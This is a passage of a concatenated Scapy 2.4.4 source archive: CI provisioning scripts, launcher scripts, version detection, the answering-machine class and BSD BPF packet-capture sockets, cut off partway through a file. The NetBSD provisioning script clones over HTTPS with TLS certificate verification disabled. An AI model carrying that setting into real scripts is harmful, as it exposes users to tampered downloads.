pythonDoctestValue Define endif hi def link utsCampaign StatusLineTerm hi def link utsTestSet StatusLineTerm hi def link utsUnitTest StatusLineTermNC hi def link utsKeyword ModeMsg hi def link utsComment Comment let b:current_syntax = "uts" let &cpo = s:cpo_save unlet s:cpo_save " vim:set sw=2 sts=2 ts=8 noet: scapy-2.4.4/doc/vagrant_ci/000077500000000000000000000000001372370053500155275ustar00rootroot00000000000000scapy-2.4.4/doc/vagrant_ci/README.md000066400000000000000000000001531372370053500170050ustar00rootroot00000000000000# Scapy Unit Tests This directory contains a Vagrant setup to ease starting `tox` based Scapy unit tests. scapy-2.4.4/doc/vagrant_ci/Vagrantfile000066400000000000000000000013001372370053500177060ustar00rootroot00000000000000# -*- mode: ruby -*- # vi: set ft=ruby : # This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Philippe Biondi # This program is published under a GPLv2 license Vagrant.configure("2") do |config| config.vm.define "openbsd" do |bsd| bsd.vm.box = "generic/openbsd6" bsd.vm.provision "shell", path: "provision_openbsd.sh" end config.vm.define "freebsd" do |bsd| bsd.vm.box = "freebsd/FreeBSD-12.1-STABLE" bsd.vm.provision "shell", path: "provision_freebsd.sh" end config.vm.define "netbsd" do |bsd| bsd.vm.box = "generic/netbsd9" bsd.vm.provision "shell", path: "provision_netbsd.sh" end end scapy-2.4.4/doc/vagrant_ci/provision_freebsd.sh000066400000000000000000000010211372370053500215770ustar00rootroot00000000000000#!/usr/local/bin/bash # This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Philippe Biondi # This program is published under a GPLv2 license pkg install --yes git python2 python3 py27-virtualenv py27-sqlite3 py37-sqlite3 bash su - vagrant bash git clone https://github.com/secdev/scapy cd scapy export PATH=/usr/local/bin/:$PATH virtualenv-2.7 -p python2.7 venv source venv/bin/activate pip install tox sudo chown -R vagrant:vagrant /home/vagrant/scapy scapy-2.4.4/doc/vagrant_ci/provision_netbsd.sh000066400000000000000000000012141372370053500214500ustar00rootroot00000000000000#!/bin/bash # This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Philippe Biondi # This program is published under a GPLv2 license RELEASE="9.0_2020Q1" sudo -s unset PROMPT_COMMAND export PATH="/sbin:/usr/pkg/sbin:/usr/pkg/bin:$PATH" export PKG_PATH="http://ftp.netbsd.org/pub/pkgsrc/packages/NetBSD/amd64/${RELEASE}/All/" pkg_delete curl pkg_add git python27 python38 py27-virtualenv py27-sqlite3 py38-expat git -c http.sslVerify=false clone https://github.com/secdev/scapy cd scapy virtualenv-2.7 venv . venv/bin/activate pip install tox chown -R vagrant:vagrant ../scapy/ scapy-2.4.4/doc/vagrant_ci/provision_openbsd.sh000066400000000000000000000010101372370053500216150ustar00rootroot00000000000000#!/bin/bash # This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Philippe Biondi # This program is published under a GPLv2 license sudo pkg_add git python-2.7.18p0 python-3.8.2 py-virtualenv sudo mkdir -p /usr/local/test/ sudo chown -R vagrant:vagrant /usr/local/test/ cd /usr/local/test/ git clone https://github.com/secdev/scapy cd scapy virtualenv venv source venv/bin/activate pip install tox sudo chown -R vagrant:vagrant /usr/local/test/ scapy-2.4.4/run_scapy000077500000000000000000000006531372370053500146020ustar00rootroot00000000000000#! /bin/sh DIR=$(dirname "$0") if [ -z "$PYTHON" ] then ARGS="" for arg in "$@" do case $arg in -2) PYTHON=python2;; -3) PYTHON=python3;; *) ARGS="$ARGS $arg";; esac done PYTHON=${PYTHON:-python3} fi $PYTHON --version > /dev/null 2>&1 if [ ! $? -eq 0 ] then echo "WARNING: '$PYTHON' not found, using 'python' instead." PYTHON=python fi PYTHONPATH=$DIR exec "$PYTHON" -m scapy $ARGS scapy-2.4.4/run_scapy.bat000066400000000000000000000006021372370053500153360ustar00rootroot00000000000000@echo off set PYTHONPATH=%~dp0 REM shift will not work with %* set "_args=%*" IF "%1" == "--2" ( set PYTHON=python set "_args=%_args:~3%" ) ELSE IF "%1" == "--3" ( set PYTHON=python3 set "_args=%_args:~3%" ) IF "%PYTHON%" == "" set PYTHON=python3 WHERE %PYTHON% >nul 2>&1 IF %ERRORLEVEL% NEQ 0 set PYTHON=python %PYTHON% -m scapy %_args% title Scapy - dead PAUSEscapy-2.4.4/scapy/000077500000000000000000000000001372370053500137645ustar00rootroot00000000000000scapy-2.4.4/scapy/__init__.py000066400000000000000000000071341372370053500161020ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Philippe Biondi # This program is published under a GPLv2 license """ Scapy: create, send, sniff, dissect and manipulate network packets. Usable either from an interactive console or as a Python library. https://scapy.net """ import os import re import subprocess from scapy.compat import AnyStr _SCAPY_PKG_DIR = os.path.dirname(__file__) def _version_from_git_describe(): # type: () -> AnyStr """ Read the version from ``git describe``. It returns the latest tag with an optional suffix if the current directory is not exactly on the tag. Example:: $ git describe --always v2.3.2-346-g164a52c075c8 The tag prefix (``v``) and the git commit sha1 (``-g164a52c075c8``) are removed if present. If the current directory is not exactly on the tag, a ``.devN`` suffix is appended where N is the number of commits made after the last tag. Example:: >>> _version_from_git_describe() '2.3.2.dev346' :raises CalledProcessError: if git is unavailable :return: Scapy's latest tag """ if not os.path.isdir(os.path.join(os.path.dirname(_SCAPY_PKG_DIR), '.git')): # noqa: E501 raise ValueError('not in scapy git repo') def _git(cmd): process = subprocess.Popen( cmd.split(), cwd=_SCAPY_PKG_DIR, stdout=subprocess.PIPE, stderr=subprocess.PIPE ) out, err = process.communicate() if process.returncode == 0: return out.decode().strip() else: raise subprocess.CalledProcessError(process.returncode, err) tag = _git("git describe --always") if not tag.startswith("v"): # Upstream was not fetched commit = _git("git rev-list --tags --max-count=1") tag = _git("git describe --tags --always --long %s" % commit) match = re.match('^v?(.+?)-(\\d+)-g[a-f0-9]+$', tag) if match: # remove the 'v' prefix and add a '.devN' suffix return '%s.dev%s' % (match.group(1), match.group(2)) else: # just remove the 'v' prefix return re.sub('^v', '', tag) def _version(): # type: () -> str """Returns the Scapy version from multiple methods :return: the Scapy version """ version_file = os.path.join(_SCAPY_PKG_DIR, 'VERSION') try: tag = _version_from_git_describe() # successfully read the tag from git, write it in VERSION for # installation and/or archive generation. with open(version_file, 'w') as fdesc: fdesc.write(tag) return tag except Exception: # failed to read the tag from git, try to read it from a VERSION file try: with open(version_file, 'r') as fdsec: tag = fdsec.read() return tag except Exception: # Rely on git archive "export-subst" git attribute. # See 'man gitattributes' for more details. git_archive_id = '95ba5b8504 (tag: v2.4.4)' sha1 = git_archive_id.strip().split()[0] match = re.search('tag:(\\S+)', git_archive_id) if match: return "git-archive.dev" + match.group(1) elif sha1: return "git-archive.dev" + sha1 else: return 'unknown.version' VERSION = __version__ = _version() _tmp = re.search(r"[0-9.]+", VERSION) VERSION_MAIN = _tmp.group() if _tmp is not None else VERSION if __name__ == "__main__": from scapy.main import interact interact() scapy-2.4.4/scapy/__main__.py000066400000000000000000000006431372370053500160610ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Philippe Biondi # This program is published under a GPLv2 license """ Scapy: create, send, sniff, dissect and manipulate network packets. Usable either from an interactive console or as a Python library. http://www.secdev.org/projects/scapy """ from scapy.main import interact interact() scapy-2.4.4/scapy/all.py000066400000000000000000000024111372370053500151040ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Philippe Biondi # This program is published under a GPLv2 license """ Aggregate top level objects from all Scapy modules. """ from scapy.base_classes import * from scapy.config import * from scapy.dadict import * from scapy.data import * from scapy.error import * from scapy.themes import * from scapy.arch import * from scapy.plist import * from scapy.fields import * from scapy.packet import * from scapy.asn1fields import * from scapy.asn1packet import * from scapy.utils import * from scapy.route import * from scapy.sendrecv import * from scapy.sessions import * from scapy.supersocket import * from scapy.volatile import * from scapy.as_resolvers import * from scapy.automaton import * from scapy.autorun import * from scapy.main import * from scapy.consts import * from scapy.compat import raw # noqa: F401 from scapy.layers.all import * from scapy.asn1.asn1 import * from scapy.asn1.ber import * from scapy.asn1.mib import * from scapy.pipetool import * from scapy.scapypipes import * if conf.ipv6_enabled: # noqa: F405 from scapy.utils6 import * # noqa: F401 from scapy.route6 import * # noqa: F401 from scapy.ansmachine import * scapy-2.4.4/scapy/ansmachine.py000066400000000000000000000102531372370053500164450ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Philippe Biondi # This program is published under a GPLv2 license """ Answering machines. """ ######################## # Answering machines # ######################## from __future__ import absolute_import from __future__ import print_function from scapy.sendrecv import send, sniff from scapy.config import conf from scapy.error import log_interactive import scapy.modules.six as six class ReferenceAM(type): def __new__(cls, name, bases, dct): obj = super(ReferenceAM, cls).__new__(cls, name, bases, dct) if obj.function_name: globals()[obj.function_name] = lambda obj=obj, *args, **kargs: obj(*args, **kargs)() # noqa: E501 return obj class AnsweringMachine(six.with_metaclass(ReferenceAM, object)): function_name = "" filter = None sniff_options = {"store": 0} sniff_options_list = ["store", "iface", "count", "promisc", "filter", "type", "prn", "stop_filter"] # noqa: E501 send_options = {"verbose": 0} send_options_list = ["iface", "inter", "loop", "verbose"] send_function = staticmethod(send) def __init__(self, **kargs): self.mode = 0 self.verbose = kargs.get("verbose", conf.verb >= 0) if self.filter: kargs.setdefault("filter", self.filter) kargs.setdefault("prn", self.reply) self.optam1 = {} self.optam2 = {} self.optam0 = {} doptsend, doptsniff = self.parse_all_options(1, kargs) self.defoptsend = self.send_options.copy() self.defoptsend.update(doptsend) self.defoptsniff = self.sniff_options.copy() self.defoptsniff.update(doptsniff) self.optsend, self.optsniff = [{}, {}] def __getattr__(self, attr): for dct in [self.optam2, self.optam1]: if attr in dct: return dct[attr] raise AttributeError(attr) def __setattr__(self, attr, val): mode = self.__dict__.get("mode", 0) if mode == 0: self.__dict__[attr] = val else: [self.optam1, self.optam2][mode - 1][attr] = val def parse_options(self): pass def parse_all_options(self, mode, kargs): sniffopt = {} sendopt = {} for k in list(kargs): # use list(): kargs is modified in the loop if k in self.sniff_options_list: sniffopt[k] = kargs[k] if k in self.send_options_list: sendopt[k] = kargs[k] if k in self.sniff_options_list + self.send_options_list: del kargs[k] if mode != 2 or kargs: if mode == 1: self.optam0 = kargs elif mode == 2 and kargs: k = self.optam0.copy() k.update(kargs) self.parse_options(**k) kargs = k omode = self.__dict__.get("mode", 0) self.__dict__["mode"] = mode self.parse_options(**kargs) self.__dict__["mode"] = omode return sendopt, sniffopt def is_request(self, req): return 1 def make_reply(self, req): return req def send_reply(self, reply): self.send_function(reply, **self.optsend) def print_reply(self, req, reply): print("%s ==> %s" % (req.summary(), reply.summary())) def reply(self, pkt): if not self.is_request(pkt): return reply = self.make_reply(pkt) self.send_reply(reply) if self.verbose: self.print_reply(pkt, reply) def run(self, *args, **kargs): log_interactive.warning("run() method deprecated. The instance is now callable") # noqa: E501 self(*args, **kargs) def __call__(self, *args, **kargs): optsend, optsniff = self.parse_all_options(2, kargs) self.optsend = self.defoptsend.copy() self.optsend.update(optsend) self.optsniff = self.defoptsniff.copy() self.optsniff.update(optsniff) try: self.sniff() except KeyboardInterrupt: print("Interrupted by user") def sniff(self): sniff(**self.optsniff) scapy-2.4.4/scapy/arch/000077500000000000000000000000001372370053500147015ustar00rootroot00000000000000scapy-2.4.4/scapy/arch/__init__.py000066400000000000000000000052631372370053500170200ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Philippe Biondi # This program is published under a GPLv2 license """ Operating system specific functionality. """ from __future__ import absolute_import import socket from scapy.consts import LINUX, SOLARIS, WINDOWS, BSD from scapy.error import Scapy_Exception from scapy.config import conf, _set_conf_sockets from scapy.pton_ntop import inet_pton, inet_ntop from scapy.data import ARPHDR_ETHER, ARPHDR_LOOPBACK, IPV6_ADDR_GLOBAL from scapy.compat import orb def str2mac(s): return ("%02x:" * 6)[:-1] % tuple(orb(x) for x in s) if not WINDOWS: if not conf.use_pcap: from scapy.arch.bpf.core import get_if_raw_addr def get_if_addr(iff): return inet_ntop(socket.AF_INET, get_if_raw_addr(iff)) def get_if_hwaddr(iff): addrfamily, mac = get_if_raw_hwaddr(iff) # noqa: F405 if addrfamily in [ARPHDR_ETHER, ARPHDR_LOOPBACK]: return str2mac(mac) else: raise Scapy_Exception("Unsupported address family (%i) for interface [%s]" % (addrfamily, iff)) # noqa: E501 # Next step is to import following architecture specific functions: # def get_if_raw_hwaddr(iff) # def get_if_raw_addr(iff): # def get_if_list(): # def get_working_if(): # def attach_filter(s, filter, iface): # def set_promisc(s,iff,val=1): # def read_routes(): # def read_routes6(): # def get_if(iff,cmd): # def get_if_index(iff): if LINUX: from scapy.arch.linux import * # noqa F403 elif BSD: from scapy.arch.unix import read_routes, read_routes6, in6_getifaddr # noqa: F401, E501 from scapy.arch.bpf.core import * # noqa F403 if not conf.use_pcap: # Native from scapy.arch.bpf.supersocket import * # noqa F403 conf.use_bpf = True elif SOLARIS: from scapy.arch.solaris import * # noqa F403 elif WINDOWS: from scapy.arch.windows import * # noqa F403 from scapy.arch.windows.native import * # noqa F403 if conf.iface is None: conf.iface = conf.loopback_name _set_conf_sockets() # Apply config def get_if_addr6(iff): """ Returns the main global unicast address associated with provided interface, in human readable form. If no global address is found, None is returned. """ return next((x[0] for x in in6_getifaddr() if x[2] == iff and x[1] == IPV6_ADDR_GLOBAL), None) def get_if_raw_addr6(iff): """ Returns the main global unicast address associated with provided interface, in network format. If no global address is found, None is returned. """ ip6 = get_if_addr6(iff) if ip6 is not None: return inet_pton(socket.AF_INET6, ip6) return None scapy-2.4.4/scapy/arch/bpf/000077500000000000000000000000001372370053500154505ustar00rootroot00000000000000scapy-2.4.4/scapy/arch/bpf/__init__.py000066400000000000000000000001161372370053500175570ustar00rootroot00000000000000# Guillaume Valadon """ Scapy BSD native support """ scapy-2.4.4/scapy/arch/bpf/consts.py000066400000000000000000000010671372370053500173370ustar00rootroot00000000000000# Guillaume Valadon """ Scapy BSD native support - constants """ from ctypes import sizeof from scapy.libs.structures import bpf_program from scapy.data import MTU SIOCGIFFLAGS = 0xc0206911 BPF_BUFFER_LENGTH = MTU # From net/bpf.h BIOCIMMEDIATE = 0x80044270 BIOCGSTATS = 0x4008426f BIOCPROMISC = 0x20004269 BIOCSETIF = 0x8020426c BIOCSBLEN = 0xc0044266 BIOCGBLEN = 0x40044266 BIOCSETF = 0x80004267 | ((sizeof(bpf_program) & 0x1fff) << 16) BIOCSDLT = 0x80044278 BIOCSHDRCMPLT = 0x80044275 BIOCGDLT = 0x4004426a DLT_IEEE802_11_RADIO = 127 scapy-2.4.4/scapy/arch/bpf/core.py000066400000000000000000000137641372370053500167650ustar00rootroot00000000000000# Guillaume Valadon """ Scapy *BSD native support - core """ from __future__ import absolute_import from ctypes import cdll, cast, pointer from ctypes import c_int, c_ulong, c_char_p from ctypes.util import find_library import fcntl import os import re import socket import struct import subprocess from scapy.arch.bpf.consts import BIOCSETF, SIOCGIFFLAGS, BIOCSETIF from scapy.arch.common import get_if, compile_filter from scapy.compat import plain_str from scapy.config import conf from scapy.data import ARPHDR_LOOPBACK, ARPHDR_ETHER from scapy.error import Scapy_Exception, warning from scapy.modules.six.moves import range # ctypes definitions LIBC = cdll.LoadLibrary(find_library("libc")) LIBC.ioctl.argtypes = [c_int, c_ulong, c_char_p] LIBC.ioctl.restype = c_int # Addresses manipulation functions def get_if_raw_addr(ifname): """Returns the IPv4 address configured on 'ifname', packed with inet_pton.""" # noqa: E501 # Get ifconfig output subproc = subprocess.Popen( [conf.prog.ifconfig, ifname], close_fds=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE ) stdout, stderr = subproc.communicate() if subproc.returncode: warning("Failed to execute ifconfig: (%s)", plain_str(stderr)) return b"\0\0\0\0" # Get IPv4 addresses addresses = [ line for line in plain_str(stdout).splitlines() if "inet " in line ] if not addresses: warning("No IPv4 address found on %s !", ifname) return b"\0\0\0\0" # Pack the first address address = addresses[0].split(' ')[1] if '/' in address: # NetBSD 8.0 address = address.split("/")[0] return socket.inet_pton(socket.AF_INET, address) def get_if_raw_hwaddr(ifname): """Returns the packed MAC address configured on 'ifname'.""" NULL_MAC_ADDRESS = b'\x00' * 6 # Handle the loopback interface separately if ifname == conf.loopback_name: return (ARPHDR_LOOPBACK, NULL_MAC_ADDRESS) # Get ifconfig output subproc = subprocess.Popen( [conf.prog.ifconfig, ifname], close_fds=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE ) stdout, stderr = subproc.communicate() if subproc.returncode: raise Scapy_Exception("Failed to execute ifconfig: (%s)" % (plain_str(stderr))) # Get MAC addresses addresses = [ line for line in plain_str(stdout).splitlines() if ( "ether" in line or "lladdr" in line or "address" in line ) ] if not addresses: raise Scapy_Exception("No MAC address found on %s !" % ifname) # Pack and return the MAC address mac = addresses[0].split(' ')[1] mac = [chr(int(b, 16)) for b in mac.split(':')] return (ARPHDR_ETHER, ''.join(mac)) # BPF specific functions def get_dev_bpf(): """Returns an opened BPF file object""" # Get the first available BPF handle for bpf in range(256): try: fd = os.open("/dev/bpf%i" % bpf, os.O_RDWR) return (fd, bpf) except OSError: continue raise Scapy_Exception("No /dev/bpf handle is available !") def attach_filter(fd, bpf_filter, iface): """Attach a BPF filter to the BPF file descriptor""" bp = compile_filter(bpf_filter, iface) # Assign the BPF program to the interface ret = LIBC.ioctl(c_int(fd), BIOCSETF, cast(pointer(bp), c_char_p)) if ret < 0: raise Scapy_Exception("Can't attach the BPF filter !") # Interface manipulation functions def get_if_list(): """Returns a list containing all network interfaces.""" # Get ifconfig output subproc = subprocess.Popen( [conf.prog.ifconfig], close_fds=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE ) stdout, stderr = subproc.communicate() if subproc.returncode: raise Scapy_Exception("Failed to execute ifconfig: (%s)" % (plain_str(stderr))) interfaces = [ line[:line.find(':')] for line in plain_str(stdout).splitlines() if ": flags" in line.lower() ] return interfaces _IFNUM = re.compile(r"([0-9]*)([ab]?)$") def get_working_ifaces(): """ Returns an ordered list of interfaces that could be used with BPF. Note: the order mimics pcap_findalldevs() behavior """ # Only root is allowed to perform the following ioctl() call if os.getuid() != 0: return [] # Test all network interfaces interfaces = [] for ifname in get_if_list(): # Unlike pcap_findalldevs(), we do not care of loopback interfaces. if ifname == conf.loopback_name: continue # Get interface flags try: result = get_if(ifname, SIOCGIFFLAGS) except IOError: warning("ioctl(SIOCGIFFLAGS) failed on %s !", ifname) continue # Convert flags ifflags = struct.unpack("16xH14x", result)[0] if ifflags & 0x1: # IFF_UP # Get a BPF handle fd = get_dev_bpf()[0] if fd is None: raise Scapy_Exception("No /dev/bpf are available !") # Check if the interface can be used try: fcntl.ioctl(fd, BIOCSETIF, struct.pack("16s16x", ifname.encode())) except IOError: pass else: ifnum, ifab = _IFNUM.search(ifname).groups() interfaces.append((ifname, int(ifnum) if ifnum else -1, ifab)) finally: # Close the file descriptor os.close(fd) # Sort to mimic pcap_findalldevs() order interfaces.sort(key=lambda elt: (elt[1], elt[2], elt[0])) return [iface[0] for iface in interfaces] def get_working_if(): """Returns the first interface than can be used with BPF""" ifaces = get_working_ifaces() if not ifaces: # A better interface will be selected later using the routing table return conf.loopback_name return ifaces[0] scapy-2.4.4/scapy/arch/bpf/supersocket.py000066400000000000000000000325761372370053500204060ustar00rootroot00000000000000# Guillaume Valadon """ Scapy *BSD native support - BPF sockets """ from ctypes import c_long, sizeof import errno import fcntl import os import platform from select import select import struct import time from scapy.arch.bpf.core import get_dev_bpf, attach_filter from scapy.arch.bpf.consts import BIOCGBLEN, BIOCGDLT, BIOCGSTATS, \ BIOCIMMEDIATE, BIOCPROMISC, BIOCSBLEN, BIOCSETIF, BIOCSHDRCMPLT, \ BPF_BUFFER_LENGTH, BIOCSDLT, DLT_IEEE802_11_RADIO from scapy.config import conf from scapy.consts import FREEBSD, NETBSD, DARWIN from scapy.data import ETH_P_ALL from scapy.error import Scapy_Exception, warning from scapy.supersocket import SuperSocket from scapy.compat import raw if FREEBSD: # On 32bit architectures long might be 32bit. BPF_ALIGNMENT = sizeof(c_long) elif NETBSD: BPF_ALIGNMENT = 8 # sizeof(long) else: BPF_ALIGNMENT = 4 # sizeof(int32_t) # SuperSockets definitions class _L2bpfSocket(SuperSocket): """"Generic Scapy BPF Super Socket""" desc = "read/write packets using BPF" nonblocking_socket = True def __init__(self, iface=None, type=ETH_P_ALL, promisc=None, filter=None, nofilter=0, monitor=False): self.fd_flags = None self.assigned_interface = None # SuperSocket mandatory variables if promisc is None: self.promisc = conf.sniff_promisc else: self.promisc = promisc if iface is None: self.iface = conf.iface else: self.iface = iface # Get the BPF handle (self.ins, self.dev_bpf) = get_dev_bpf() self.outs = self.ins # Set the BPF buffer length try: fcntl.ioctl(self.ins, BIOCSBLEN, struct.pack('I', BPF_BUFFER_LENGTH)) # noqa: E501 except IOError: raise Scapy_Exception("BIOCSBLEN failed on /dev/bpf%i" % self.dev_bpf) # Assign the network interface to the BPF handle try: fcntl.ioctl(self.ins, BIOCSETIF, struct.pack("16s16x", self.iface.encode())) # noqa: E501 except IOError: raise Scapy_Exception("BIOCSETIF failed on %s" % self.iface) self.assigned_interface = self.iface # Set the interface into promiscuous if self.promisc: self.set_promisc(1) # Set the interface to monitor mode # Note: - trick from libpcap/pcap-bpf.c - monitor_mode() # - it only works on OS X 10.5 and later if DARWIN and monitor: dlt_radiotap = struct.pack('I', DLT_IEEE802_11_RADIO) try: fcntl.ioctl(self.ins, BIOCSDLT, dlt_radiotap) except IOError: raise Scapy_Exception("Can't set %s into monitor mode!" % self.iface) # Don't block on read try: fcntl.ioctl(self.ins, BIOCIMMEDIATE, struct.pack('I', 1)) except IOError: raise Scapy_Exception("BIOCIMMEDIATE failed on /dev/bpf%i" % self.dev_bpf) # Scapy will provide the link layer source address # Otherwise, it is written by the kernel try: fcntl.ioctl(self.ins, BIOCSHDRCMPLT, struct.pack('i', 1)) except IOError: raise Scapy_Exception("BIOCSHDRCMPLT failed on /dev/bpf%i" % self.dev_bpf) # Configure the BPF filter if not nofilter: if conf.except_filter: if filter: filter = "(%s) and not (%s)" % (filter, conf.except_filter) else: filter = "not (%s)" % conf.except_filter if filter is not None: try: attach_filter(self.ins, filter, self.iface) except ImportError as ex: warning("Cannot set filter: %s" % ex) # Set the guessed packet class self.guessed_cls = self.guess_cls() def set_promisc(self, value): """Set the interface in promiscuous mode""" try: fcntl.ioctl(self.ins, BIOCPROMISC, struct.pack('i', value)) except IOError: raise Scapy_Exception("Cannot set promiscuous mode on interface " "(%s)!" % self.iface) def __del__(self): """Close the file descriptor on delete""" # When the socket is deleted on Scapy exits, __del__ is # sometimes called "too late", and self is None if self is not None: self.close() def guess_cls(self): """Guess the packet class that must be used on the interface""" # Get the data link type try: ret = fcntl.ioctl(self.ins, BIOCGDLT, struct.pack('I', 0)) ret = struct.unpack('I', ret)[0] except IOError: cls = conf.default_l2 warning("BIOCGDLT failed: unable to guess type. Using %s !", cls.name) return cls # Retrieve the corresponding class try: return conf.l2types[ret] except KeyError: cls = conf.default_l2 warning("Unable to guess type (type %i). Using %s", ret, cls.name) def set_nonblock(self, set_flag=True): """Set the non blocking flag on the socket""" # Get the current flags if self.fd_flags is None: try: self.fd_flags = fcntl.fcntl(self.ins, fcntl.F_GETFL) except IOError: warning("Cannot get flags on this file descriptor !") return # Set the non blocking flag if set_flag: new_fd_flags = self.fd_flags | os.O_NONBLOCK else: new_fd_flags = self.fd_flags & ~os.O_NONBLOCK try: fcntl.fcntl(self.ins, fcntl.F_SETFL, new_fd_flags) self.fd_flags = new_fd_flags except Exception: warning("Can't set flags on this file descriptor !") def get_stats(self): """Get received / dropped statistics""" try: ret = fcntl.ioctl(self.ins, BIOCGSTATS, struct.pack("2I", 0, 0)) return struct.unpack("2I", ret) except IOError: warning("Unable to get stats from BPF !") return (None, None) def get_blen(self): """Get the BPF buffer length""" try: ret = fcntl.ioctl(self.ins, BIOCGBLEN, struct.pack("I", 0)) return struct.unpack("I", ret)[0] except IOError: warning("Unable to get the BPF buffer length") return def fileno(self): """Get the underlying file descriptor""" return self.ins def close(self): """Close the Super Socket""" if not self.closed and self.ins is not None: os.close(self.ins) self.closed = True self.ins = None def send(self, x): """Dummy send method""" raise Exception( "Can't send anything with %s" % self.__class__.__name__ ) def recv_raw(self, x=BPF_BUFFER_LENGTH): """Dummy recv method""" raise Exception( "Can't recv anything with %s" % self.__class__.__name__ ) @staticmethod def select(sockets, remain=None): """This function is called during sendrecv() routine to select the available sockets. """ # sockets, None (means use the socket's recv() ) return bpf_select(sockets, remain), None class L2bpfListenSocket(_L2bpfSocket): """"Scapy L2 BPF Listen Super Socket""" def __init__(self, *args, **kwargs): self.received_frames = [] super(L2bpfListenSocket, self).__init__(*args, **kwargs) def buffered_frames(self): """Return the number of frames in the buffer""" return len(self.received_frames) def get_frame(self): """Get a frame or packet from the received list""" if self.received_frames: return self.received_frames.pop(0) else: return None, None, None @staticmethod def bpf_align(bh_h, bh_c): """Return the index to the end of the current packet""" # from return ((bh_h + bh_c) + (BPF_ALIGNMENT - 1)) & ~(BPF_ALIGNMENT - 1) def extract_frames(self, bpf_buffer): """Extract all frames from the buffer and stored them in the received list.""" # noqa: E501 # Ensure that the BPF buffer contains at least the header len_bb = len(bpf_buffer) if len_bb < 20: # Note: 20 == sizeof(struct bfp_hdr) return # Extract useful information from the BPF header if FREEBSD: # Unless we set BIOCSTSTAMP to something different than # BPF_T_MICROTIME, we will get bpf_hdr on FreeBSD, which means # that we'll get a struct timeval, which is time_t, suseconds_t. # On i386 time_t is 32bit so the bh_tstamp will only be 8 bytes. # We really want to set BIOCSTSTAMP to BPF_T_NANOTIME and be # done with this and it always be 16? if platform.machine() == "i386": # struct bpf_hdr bh_tstamp_offset = 8 else: # struct bpf_hdr (64bit time_t) or struct bpf_xhdr bh_tstamp_offset = 16 elif NETBSD: # struct bpf_hdr or struct bpf_hdr32 bh_tstamp_offset = 16 else: # struct bpf_hdr bh_tstamp_offset = 8 # Parse the BPF header bh_caplen = struct.unpack('I', bpf_buffer[bh_tstamp_offset:bh_tstamp_offset + 4])[0] # noqa: E501 next_offset = bh_tstamp_offset + 4 bh_datalen = struct.unpack('I', bpf_buffer[next_offset:next_offset + 4])[0] # noqa: E501 next_offset += 4 bh_hdrlen = struct.unpack('H', bpf_buffer[next_offset:next_offset + 2])[0] # noqa: E501 if bh_datalen == 0: return # Get and store the Scapy object frame_str = bpf_buffer[bh_hdrlen:bh_hdrlen + bh_caplen] self.received_frames.append( (self.guessed_cls, frame_str, None) ) # Extract the next frame end = self.bpf_align(bh_hdrlen, bh_caplen) if (len_bb - end) >= 20: self.extract_frames(bpf_buffer[end:]) def recv_raw(self, x=BPF_BUFFER_LENGTH): """Receive a frame from the network""" x = min(x, BPF_BUFFER_LENGTH) if self.buffered_frames(): # Get a frame from the buffer return self.get_frame() # Get data from BPF try: bpf_buffer = os.read(self.ins, x) except EnvironmentError as exc: if exc.errno != errno.EAGAIN: warning("BPF recv_raw()", exc_info=True) return None, None, None # Extract all frames from the BPF buffer self.extract_frames(bpf_buffer) return self.get_frame() class L2bpfSocket(L2bpfListenSocket): """"Scapy L2 BPF Super Socket""" def send(self, x): """Send a frame""" return os.write(self.outs, raw(x)) def nonblock_recv(self): """Non blocking receive""" if self.buffered_frames(): # Get a frame from the buffer return L2bpfListenSocket.recv(self) # Set the non blocking flag, read from the socket, and unset the flag self.set_nonblock(True) pkt = L2bpfListenSocket.recv(self) self.set_nonblock(False) return pkt class L3bpfSocket(L2bpfSocket): def recv(self, x=BPF_BUFFER_LENGTH): """Receive on layer 3""" r = SuperSocket.recv(self, x) if r: r.payload.time = r.time return r.payload return r def send(self, pkt): """Send a packet""" # Use the routing table to find the output interface iff = pkt.route()[0] if iff is None: iff = conf.iface # Assign the network interface to the BPF handle if self.assigned_interface != iff: try: fcntl.ioctl(self.outs, BIOCSETIF, struct.pack("16s16x", iff.encode())) # noqa: E501 except IOError: raise Scapy_Exception("BIOCSETIF failed on %s" % iff) self.assigned_interface = iff # Build the frame frame = raw(self.guessed_cls() / pkt) pkt.sent_time = time.time() # Send the frame L2bpfSocket.send(self, frame) # Sockets manipulation functions def isBPFSocket(obj): """Return True is obj is a BPF Super Socket""" return isinstance( obj, (L2bpfListenSocket, L2bpfListenSocket, L3bpfSocket) ) def bpf_select(fds_list, timeout=None): """A call to recv() can return several frames. This functions hides the fact that some frames are read from the internal buffer.""" # Check file descriptors types bpf_scks_buffered = list() select_fds = list() for tmp_fd in fds_list: # Specific BPF sockets: get buffers status if isBPFSocket(tmp_fd) and tmp_fd.buffered_frames(): bpf_scks_buffered.append(tmp_fd) continue # Regular file descriptors or empty BPF buffer select_fds.append(tmp_fd) if select_fds: # Call select for sockets with empty buffers if timeout is None: timeout = 0.05 ready_list, _, _ = select(select_fds, [], [], timeout) return bpf_scks_buffered + ready_list else: return bpf_scks_buffered scapy-2.4.4/scapy/arch/common.py000066400000000000000000000100121372370053500165350ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Philippe Biondi # This program is published under a GPLv2 license """ Functions common to different architectures """ import ctypes import socket import struct import sys import time from scapy.consts import WINDOWS from scapy.config import conf from scapy.data import MTU, ARPHRD_TO_DLT from scapy.error import Scapy_Exception if not WINDOWS: from fcntl import ioctl # UTILS def get_if(iff, cmd): """Ease SIOCGIF* ioctl calls""" sck = socket.socket() try: return ioctl(sck, cmd, struct.pack("16s16x", iff.encode("utf8"))) finally: sck.close() def get_if_raw_hwaddr(iff): """Get the raw MAC address of a local interface. This function uses 